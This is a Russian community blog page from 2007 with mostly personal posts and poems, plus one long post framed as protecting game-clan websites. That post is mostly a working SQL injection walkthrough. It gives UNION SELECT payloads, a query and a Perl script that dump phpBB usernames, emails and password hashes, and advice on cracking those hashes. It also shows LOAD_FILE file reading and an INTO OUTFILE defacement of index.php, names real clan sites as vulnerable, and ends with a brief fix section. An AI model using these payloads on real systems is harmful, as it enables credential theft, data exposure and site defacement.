|
19.06.07 21:26 |
Медведи и тигры | А на улице дождь... |
ru |
Мой мир...для меня...
И самое мерзкое в этот пасмурный день,
Тихое ничего... и сырое никак,
Незначительность окружающего меня мира,
Для самого себя...
Душащая депрессия...
Жестокое безразличие...
Давящая тишина,
Легкий и совсем неслышный моросящий дождь,
А я ведь так люблю дожди,
Или нет...
Нет...
Я люблю состояние пустоты,
Или даже не люблю,
А просто мне хорошо стоять под легким дождем,
Часами... впитывая всем телом,
Одеждой и наушниками от плеера,
Небесную воду...
Играет тихая...
Или не очень... музыка,
Давящая стеной,
Полностью отражающая безысходность перед самим собой...
Давящая пустота... тихое ничего...
То, чего я так жду... в веселую праздность,
И то, от чего отрекаюсь, каждый раз... сам для себя...
От себя…
Mood: дождливое Music: Шум дождя
|
Comments: 4 | |
|
|
|
16.06.07 09:17 | flood :
Прохар | С рождеством Хрестовым! |
ru |
16.06 года эдак 88 меня родила моя любимая мамочка!
Спасибо ей за то, что подарила миру меня!
Принимаю поздравления :)
*пЕар*
Mood: боевое  Music: Аркаша Северный
|
Comments: 5 | |
|
|
|
16.06.07 03:55 |
чиппи-гламур | защити себя сам |
ru |
Для примера использован сайт клана Cossacks Of Hell
В связи с последними событиями в БК , я решил провести исследования клансайтов ..
К сожалению , как оказалось , большая часть подвержена серьезным уязвимостям..Я хочу рассказать вам и сберечь вас от наиболее распространенных..
Как оказалось 80% просмотренных мною клансайтов имеют схожие уязвимости - сиквэл инъекции , что далеко не странно , тк у программистов не хватает больше ума как использовать стандартные проверки в скриптах при обращении к реляционной базе данных..Зачем думать головой , если можно содрать уже написанное ? =))
Зачастую , о наличии сиквэл инъекции могут сказать ошибки , явно указывающие, что произошла ошибка в sql запросе. В тоже время о наличии ошибки в сиквэл запросе можно судить и по косвенным признакам ..
Чтобы реализовать наш с вами взлом давайте найдем параметр , значения которого передаются в запросе к БД.. Это достаточно просто , как правило это может быть параметр для обращения к новостной ленте , галлерии , списку статей , панели регестрации итд ..
структура такого запроса
http://site/test.php?id=номер статьи или новости
естественно , любой нормальный человек , увидев такое в строке запроса или в сорсе кода начнет сУвать туда всякую херь =)
http://site/test.php?id=9999
http://site/test.php?id=ааа
http://site/test.php?id=0
http://site/test.php?id=-0
http://site/test.php?id=-1000
итд
в 10 сайтах , уже на этом этапе я получил ошибку , связанную с неверным сиквэл запросом
Некоторые программисты наивно полагают , что их спасет заключение параметра в одиночные ковычки - ' и ошибочная фильтрация символов.. бугага =)
что-нить типо
<?php
$param=preg_replace("/[a-zA-Z0-9]i","",$param);
?php>
---------------------------------------------------------------------------
если исследуя скрипт выше мы еще не получили ошибки , продолжим =))
http://site/test.php?id=-1'+/*
таким нехитрым маневром мы закрываем первую кавычку и ставим незакрытый сиквэл комментарий , который превращает следующий в запросе код в бесполезную информацию.
вуаля =))
*
Следует отметить , что вы можете и не получать вывод ошибочного запроса , но если в результате ковыряния параметра вы получаете редирект на главную страницу , или еще лучше страницу с пустым запросом или 500 ошибкой шттп - вы на верном пути и правильно выбрали атакуемый параметр ..
*
Дальше можно было бы и не писать ничего , если бы я не сомневался в профессионализме прогеров ..
далее начинаем подбирать верный запрос к таблице , туд , методом перебора выясняется номер столбца с выводом. Нам понадобится знать, в каком по счету столбце происходит вывод на страницу
http://site/test.php?id=-1'+union+select+null/*
если и такой запрос выдаст ошибку синтаксиса или пустую страницу , значит в скрипте, возможно имеется проверка на не пустоту одного из параметров ...
тогда идем конём ..
http://site/test.php?id=-1'+union+select+1/*
еееееее
http://site/test.php?id=-1'+union+select+1,2,3 итд/*
http://site/test.php?id=-1'+union+select+null,null,null,null,null,null,null/*
или если фильтруется пробуем
http://site/test.php?id=-1'+union+select+1,2,3,4,5,6,7/*
вуаля =))
Теперь можно перебирать имена таблиц .. Правильные запросы будут соответствовать существующим именам таблиц .. Наверно , интересно будет проверить на существование таблиц users , passwords , regusers и тд и тп ..
Если выводиться только одна строка из запроса (например , вместо тела статьи) , то можно передвигаться по строкам путем limit ..
http://site/test.php?id=-1'+union+select+1,concat(username,char(58),user_email,char(58),user_password),3,4,5,6,7+from+phpbb_users+limit+1,1/*
вуаля =))
*отдельно стоит рассказать про сиквэл функцию char() .. в качестве аргумента она принимает десятичный код ASCII символа , это нужно в том случае , когда скриптом фильтруются нужные символы...
например char(47) вернет нам / , когда если бы мы отослали его напрямую этот символ бы отфильтровался ..
*
Итак - мы имеем пароли в мд5 , логины и почтовые ящики пользователей .. (n делить на два , потом n деленное на два разделить на два итд)
Методом мат. анализа определяем , что записей в phpbb_forum тут 489 .. Анализируем сорс ошибки..
и пишем несложный скрипт на перле
не люблю я пхп =))
#!/usr/bin/perl -w
use LWP;
use strict;
my $ua=LWP::UserAgent->new;
my $i;
my $res;
$path='путь к уязвимости=-1\'+union+select+1,concat(username,char(58),user_email,char(58),user_password),3,4,5,6,7+from+phpbb_users+limit';
for ($i=1;$i<=488;$i++) {
my $res=$ua->request(HTTP::Request->new(GET=>$path.'+'."$i".',1/*'));
if ($res->is_success) {
$res->content=~/<center>Запрещено просматривать статью '(.*):(.*):(.*)'/;
open (LOG,">>list") || die " cant open file";
print LOG $1.':'.$2.':'.$3."\n";
close LOG;
} else {
print $res->status_line;
}
}
В кратце - используем модуль лвл для последовательного гет запроса ко всем строкам таблицы , выделяем из сорса нужные тэги , а из них в свою очередь - логины , пароли и мэйлы ..
вуаля =))
в фале list , в одной корневой со скриптом через 2 мин у нас вся база данных сайта =))
кидаем пароли клана на подбор в любую утилиту для штурма мд5
и вуаля , через минуту у нас уже пасс от одного соклана ..
а еще через два дня , от половины
но какого же будет ваше удивление , когда в ответ на инъекцию
http://site/test.php?id=-1'+union+select+1,LOAD_FILE(''),3,4,5,6,7/*
вы получите
сайтик то , на винде стоит , а это увеличивает полет фантазии вдвое
нам на самом деле и не нужны пароли , их можно и не качать ..
Достаточно написать что - нить типа
http://site/test.php?id=-1'+union+select+1,LOAD_FILE('путь к любому файлу на диске C:\'),3,4,5,6,7/*
для просмотра любого скрипта
и
http://site/test.php?id=-1'+union+select+1,'',2,3,4,5,6,7+from+phpbb_forum+into+outfile+'C:\usr\local\site\www\index.php'/*
для дефейса .. те подмены главной страницы .. да и вообще стереть любой файл можно ..
или закачать свое ..
Похожие уязвимости я нашел почти на всех топ клан сайтах ..
Даркклан , рмиб и пачке других..
Попытаться исправить это можно путем
- для целых и дробных величин , перед их использованием в запросе надо привести величину к нужному типу ..
$id=(int)$id; $total=(float)$total;
Вместо этого можно вставить систему слежения за тестированием на сиквэл инъекцию ..
if((string)$id<>(string)(int)$id) {
// пишем в лог о попытке ..
die('ops');
}
- для строковых параметров , которые не используются в like , regexp и тд , экранируем кавычки ..
$str=addslashes($str);
или , лучше я всегда советовал
mysql_escape_string($str)
- в строках , которые предполагается использовать внутри like , regexp и тд , необходимо так же заэкранировать специальные символы , применяющиеся в этих операторах , если это необходимо.. В противном случае , можно задокументировать использование этих символов ..
На прощание хочу сказать - никогда не ждите благодарностей от людей..
удачи , и помните - если жизнь свернула вас как удав , терпите =)))
hacked by 4
hacked by RaD
отдельное спасибо Diogen-у
|
Comments: 19 | |
|
|
|
16.06.07 03:36 |
Прохар | :Р |
ru |
А у миня сиводня днюхо!
Торчим'с, бухаем'c :)
|
Comments: 5 | |
|
|
|
15.06.07 10:22 |
Pimpf | Прикольно |
ru |
Чай с лимоном сутра лучше опостылевшего растворимого кофе с молоком
Mood: утро
|
Comments: 2 | |
|
|
|
12.06.07 22:37 |
Прохар | Интересная фотосессия |
ru |
Посмотреть
Mood: Пиздатое Music: Асмолов
|
|
|
|
|
12.06.07 17:02 |
Юэ-Ту | Шелкопряд |
ru |
Я незаметно на дереве в листьях
Наполняю жизнь свою смыслом,
Пряду свою тонкую нить.
Нас очень много на дереве рядом,
И каждый рожден шелкопрядом,
И прядет свою тонкую нить.
А моря до краёв наполнялись по каплям,
И срослись по песчинкам камни,
Вечность - это, наверное, так долго.
Мне бы только мой крошечный вклад внести,
За короткую жизнь сплести
Хотя бы ниточку шёлка.
Кто-то в паутину религий попался,
Кто-то бредит пришельцами с Марса,
Я пряду свою тонкую нить.
Кто-то открывает секрет мироздания,
Кто-то борется с твёрдостью камня,
Я пряду свою тонкую нить.
А моря до краёв наполнялись по каплям,
И срослись по песчинкам камни,
Вечность - это, наверное, так долго.
Мне бы только мой крошечный вклад внести,
За короткую жизнь сплести
Хотя бы ниточку шёлка.
Я не умею чего-то ещё,
Я маленький червячок,
Мир безумный проносится мимо.
А мы создаём своими руками
Невесомые тонкие ткани,
Красота вполне ощутима.
А моря до краёв наполнялись по каплям,
И срослись по песчинкам камни,
Вечность - это, наверное, так долго.
Мне бы только мой крошечный вклад внести,
За короткую жизнь сплести
Хотя бы ниточку шёлка.
А моря до краёв наполнялись по каплям,
И срослись по песчинкам камни,
Вечность - это, наверное, так долго.
Мне бы только мой крошечный вклад внести,
За короткую жизнь сплести
Хотя бы ниточку шёлка.
(c) Flёur
http://fleur.kiev.ua/
Mood: задумчивое
|
|
|
|
Total posts: 988 Pages: 99
1.. 10.. 20.. 30.. 40.. 50.. 60.. 69 70 71 72 73 74 75 76 77 78 79 80.. 90..
|
|
Mo |
Tu |
We |
Th |
Fr |
Sa |
Su |
| | | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | |
|